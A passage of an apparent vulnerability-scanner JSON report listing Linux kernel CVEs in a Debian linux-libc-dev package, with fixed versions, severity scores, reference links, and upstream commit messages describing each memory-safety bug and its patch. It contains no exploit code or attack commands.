PAGE_SIZE. __xdp_build_skb_from_frame() later treats that\npage like a normal XDP frame and expects the usual skb_shared_info\ntailroom at the end of the buffer.\n\nThe current check only rejects frames whose linear xdp_frame header,\nheadroom, and packet data exceed PAGE_SIZE. A source frame backed by a\nlarger allocation can still satisfy that check while extending into the\nclone's required shared-info area. When such a clone is converted back\ninto an skb, build_skb_around() places skb_shared_info over live packet\nbytes and later writes can corrupt XDP return metadata.\n\nReject clones unless their linear area fits inside\nSKB_WITH_OVERHEAD(PAGE_SIZE), matching the tailroom requirement already\nenforced by the XDP-to-skb conversion path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74616", "https://git.kernel.org/stable/c/58408982fa39f9758124cec169f42854d6f98f35", "https://git.kernel.org/stable/c/685edea27ac68d08fe4dbd3de74b858d2ad8e830", "https://git.kernel.org/stable/c/ba13763d667e008e185fedf592d53846a5b457d1", "https://git.kernel.org/stable/c/e48e8edbef2eb824201495daa5234560f632b23c", "https://git.kernel.org/stable/c/ef4b7c7046d29a67090de15af0da0d1ae8d1b192", "https://git.kernel.org/stable/c/f463b6f4957c9c3fd1c75f8d3e5af4879fa609c0", "https://git.kernel.org/stable/c/fab820f1691a9e26d9031f18aae1e9ce09078f92", "https://linux.oracle.com/cve/CVE-2026-74616.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082218-CVE-2026-74616-73b5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74616", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74616" ], "PublishedDate": "2026-08-22T16:16:34.28Z", "LastModifiedDate": "2026-10-16T20:17:47.017Z" }, { "VulnerabilityID": "CVE-2026-74630", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74630", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:13276669a12578ba4628c8b6b2dd9cae67d44b89da7ffd7740d5133959d890f4", "Title": "kernel: ipv6: prevent in6_dev_get() from resurrecting inet6_dev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: prevent in6_dev_get() from resurrecting inet6_dev\n\nin6_dev_get() reads dev-\u003eip6_ptr under RCU and then unconditionally\nincrements its refcount. Device teardown can clear the pointer and drop\nthe last reference between these operations. The increment then\nresurrects an object whose RCU free has already been queued, so callers\ncan use it after it is freed.\n\nUse refcount_inc_not_zero() and return NULL when the object has already\nreached zero. RCU keeps the memory accessible through the attempted\nreference acquisition, and a successful increment pins the object for\nthe caller.\n\nAn independent run on the exact unpatched 6f5156d7a31a (v7.2-rc3)\nkernel reproduced the invalid reference acquisition as UID 1000:\n\n refcount_t: addition on 0; use-after-free.\n ip6_mc_source+0xef4/0x17e0\n\nIt was followed by the corresponding reference underflow in\nip6_mc_source(). The supplied trace from the same unpatched revision\nadditionally shows the access after the RCU read-side section ends:\n\n BUG: KASAN: slab-use-after-free in mutex_lock+0x76/0xe0\n Write of size 8 at addr ffff888015b50240 by task poc/1219\n\nBug found and triaged by OpenAI Security Research and\nvalidated by Trail of Bits.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74630", "https://git.kernel.org/stable/c/0e243671bc7b8eaf00f83dd2f4367436dc0cff98", "https://git.kernel.org/stable/c/145812b678de9f3b59780173be3c0d22ed60dd93", "https://git.kernel.org/stable/c/14e812ab41df0cac033479da835ec9a5de633404", "https://git.kernel.org/stable/c/1c206d461c680c3151daa3c89fc26eaf5bf98a7f", "https://git.kernel.org/stable/c/680fbd7942185448eadb990a3d10a53eb946b702", "https://git.kernel.org/stable/c/785d908f8d21c8bc78b6fb2c2932ab662bf6918a", "https://git.kernel.org/stable/c/aedcfefdb5b7ed7f8a6196a3e68a25bdbe51d2f8", "https://git.kernel.org/stable/c/cc5bd568f9b7683e60841b6fd02c10d64535bd6e", "https://linux.oracle.com/cve/CVE-2026-74630.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082221-CVE-2026-74630-8fae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74630", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74630" ], "PublishedDate": "2026-08-22T16:16:35.943Z", "LastModifiedDate": "2026-10-16T20:17:48.063Z" }, { "VulnerabilityID": "CVE-2026-74631", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74631", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d7aa87864a322c7fdd41980e5f66a5d47d083ac4039e87500741ca7d5d7487b8", "Title": "kernel: net: smc: fix splice entry lifetime imbalance in smc_rx_splice", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: smc: fix splice entry lifetime imbalance in smc_rx_splice\n\nsmc_rx_splice() passes pages to splice_to_pipe() before taking the\nreferences that cover the lifetime of each splice entry. In the\nVM-backed RMB path, splice_to_pipe() may drop unqueued entries through\nsmc_rx_spd_release(), while queued entries are released later via the\npipe buffer callback.\n\nThe old post-splice accounting also derives the number of queued VM pages\nfrom an offset mutated while building the descriptor, and a multi-page\nsplice pairs one sock_hold() with multiple sock_put() calls.\n\nTake the page and socket references for every candidate entry before\nsplice_to_pipe(), and drop the matching private state, page reference,\nand socket reference from smc_rx_spd_release() for entries that never\nget queued. This fixes a refcount imbalance that can underflow page\nrefcounts and trigger a use-after-free.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91565", "https://access.redhat.com/security/cve/CVE-2026-74631", "https://bugzilla.redhat.com/2492709", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502341", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2513163", "https://bugzilla.redhat.com/2513264", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2521413", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2492709", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502341", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2502615", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2513163", "https://bugzilla.redhat.com/show_bug.cgi?id=2513264", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2521413", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64109", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68338", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://errata.almalinux.org/10/ALSA-2026-91565.html", "https://errata.rockylinux.org/RLSA-2026:91565", "https://git.kernel.org/stable/c/07ad246529d136d5ef441d5ab4c305d132ff3090", "https://git.kernel.org/stable/c/0b7d54cedea5cb158e21925ae0c6c2f5c87ed2a0", "https://git.kernel.org/stable/c/4515c78f4d9fd577270f012efeb062ea58b3682d", "https://git.kernel.org/stable/c/5d9686af2976741bbd79b150d1c9e60b81e7f12e", "https://git.kernel.org/stable/c/7ddc7af2ae7fc5a0c0635b245c0824c8b76de5cb", "https://git.kernel.org/stable/c/af02c67ce654356c58db20a0bb2db33ace3b07a8", "https://git.kernel.org/stable/c/c841789e456ec6751342fa800639ce8e82ff0e6b", "https://git.kernel.org/stable/c/ca8342b5fc24c249fdb998468f6a168b457c67e5", "https://linux.oracle.com/cve/CVE-2026-74631.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://lore.kernel.org/linux-cve-announce/2026082221-CVE-2026-74631-4134@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74631", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74631" ], "PublishedDate": "2026-08-22T16:16:36.08Z", "LastModifiedDate": "2026-10-16T20:17:48.22Z" }, { "VulnerabilityID": "CVE-2026-74662", "VendorIDs": [ "DSA-6477-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74662", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f7d819c85b7a6576dc4463b0d29c9e9bc2b70a141032409ea9472f5abed9396c", "Title": "kernel: inet: frags: publish queues before arming timer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: publish queues before arming timer\n\ninet_frag_create() arms the fragment queue timer before inserting the\nqueue into the fqdir rhashtable. If the namespace fragment timeout is\nzero or negative, the timer can run before the queue is published.\n\nThe timer callback then marks the queue complete, tries to remove a node\nthat is not in the hash table yet, and drops the anticipated hash\nreference. Creation can subsequently publish the completed queue without\nrestoring that reference, leaving a stale hash node after the caller drops\nthe remaining reference.\n\nPublish the queue first and arm the timer while holding the queue lock.\nThis makes timer expiry wait until the queue is visible in the hash table,\nso inet_frag_kill() can remove the node and balance the hash reference.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74662", "https://git.kernel.org/stable/c/08a04d7bfb9c103432561aff8a62b6872e694a6a", "https://git.kernel.org/stable/c/39c6c4b267b65f00e0b0335a2ae00cbe9e3174f0", "https://git.kernel.org/stable/c/4ed0681dc2c1e0538b79d2fc56190ffcb369dacd", "https://git.kernel.org/stable/c/653d7ddf6cba867777a3d14c4f83ace008c5ad13", "https://git.kernel.org/stable/c/928128865e43b197e30688dc1bc991592c97edcf", "https://git.kernel.org/stable/c/9f904dd3e455750e5d4ec9b2f134835811b85a2f", "https://git.kernel.org/stable/c/d3ffb89b2944672cf7bdd8e9ee577d2043b4a956", "https://git.kernel.org/stable/c/f4e4dab62181b7fe7c011bed6fbef9fc3d48c769", "https://linux.oracle.com/cve/CVE-2026-74662.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026082228-CVE-2026-74662-bad3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74662", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74662" ], "PublishedDate": "2026-08-22T16:16:39.993Z", "LastModifiedDate": "2026-10-16T20:17:50.227Z" }, { "VulnerabilityID": "CVE-2026-74669", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:72a6abddf8fc5411de7f0b6a2a887bb98226d33a2fe8ff2c748caa916a77330e", "Title": "kernel: ipvs: clear IPv4 options after rebasing tunnel ICMP errors", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: clear IPv4 options after rebasing tunnel ICMP errors\n\nip_vs_in_icmp() rebases an skb from the outer ICMP packet to the\nquoted original request before passing it to icmp_send(). However,\nIPCB(skb)-\u003eopt still describes the outer IPv4 header.\n\nA timestamp option in the outer header can therefore leave an offset\nthat points into the quoted transport header after the rebase.\n__ip_options_echo() treats a byte at that stale location as the option\nlength and copies it into the fixed-size option storage on the\n__icmp_send() stack, causing a stack out-of-bounds write.\n\nClear the stale option metadata after resetting the network header.\nKeep the remaining control block fields, including the ingress\ninterface used by the ICMP response path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74669", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/37c61b3745129cbd682c557b51345828120972e5", "https://git.kernel.org/stable/c/384b4dae14277d369221d187e9b3af56c79d2e50", "https://git.kernel.org/stable/c/6f46fc460e9316062bdcdf89199eb5d7a33da33b", "https://git.kernel.org/stable/c/75eec935444db4af2123e0491936f6e273d7ea00", "https://git.kernel.org/stable/c/79ffa99202c944467e28b13b513bf2998732edff", "https://git.kernel.org/stable/c/c9413b50204738fbc429bb86bf01353c393a6c28", "https://git.kernel.org/stable/c/e0ba936287dfe9783426aac27e5fd76fe35b38c9", "https://git.kernel.org/stable/c/ed246dd85ebf27c1f6b7897834d40786c0ca3006", "https://linux.oracle.com/cve/CVE-2026-74669.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026082229-CVE-2026-74669-f574@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74669", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74669" ], "PublishedDate": "2026-08-22T16:16:40.827Z", "LastModifiedDate": "2026-10-16T20:17:51.09Z" }, { "VulnerabilityID": "CVE-2026-74705", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74705", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:02a5af2ca9c1eb03f5d5353046043058912a0659e7b132e80718dc9d79610a36", "Title": "kernel: udp: fix potential use-after-free in tunnel segmentation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: fix potential use-after-free in tunnel segmentation\n\n__skb_udp_tunnel_segment() gets the UDP header before ensuring the\ntunnel header is in the skb head. If the pull reallocates skb-\u003ehead,\nthe saved UDP header pointer is no longer valid.\n\nGet the UDP header after the pull to avoid a potential use-after-free.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-74705", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-74705.mbox", "https://git.kernel.org/stable/c/19d89b13a43640b2da2f277ee462d919d988cb6f", "https://git.kernel.org/stable/c/1ae134c012e10384cdac420b5cc6e0615cde0b55", "https://git.kernel.org/stable/c/5161e67c561c4f28a5d9335a6e859b02511de92b", 